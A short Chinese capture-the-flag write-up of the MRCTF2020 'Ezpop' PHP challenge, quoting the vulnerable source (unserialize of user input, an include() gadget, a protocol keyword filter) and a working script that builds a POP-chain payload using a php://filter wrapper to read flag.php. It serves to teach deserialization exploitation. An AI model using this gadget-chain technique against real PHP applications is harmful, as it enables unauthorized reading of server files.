来自:
[MRCTF2020]Ezpop
打开看源码:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
一眼常规反序列化,这个wakeup过滤了个寂寞,直接构造pop链秒了:
Show::source => Show::__toString() => Test::__get() => Modifier::__invoke() :: Modifier::append()
唯一需要注意的点就是这里是用文件包含的形式给的flag.php,记得用php://filter/read=convert.base64-encode/resource=flag.php
<?php class Modifier { protected $var = "php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; } class Test{ public $p; } $m = new Modifier(); $s1 = new Show(); $s2 = new Show(); $t = new Test(); $s1->source = $s2; $s2->str = $t; $t->p = $m; echo urlencode(serialize($s1)); ?>
标签:__,function,source,EZPOP,file,php,public From: https://www.cnblogs.com/EddieMurphy-blogs/p/17720602.html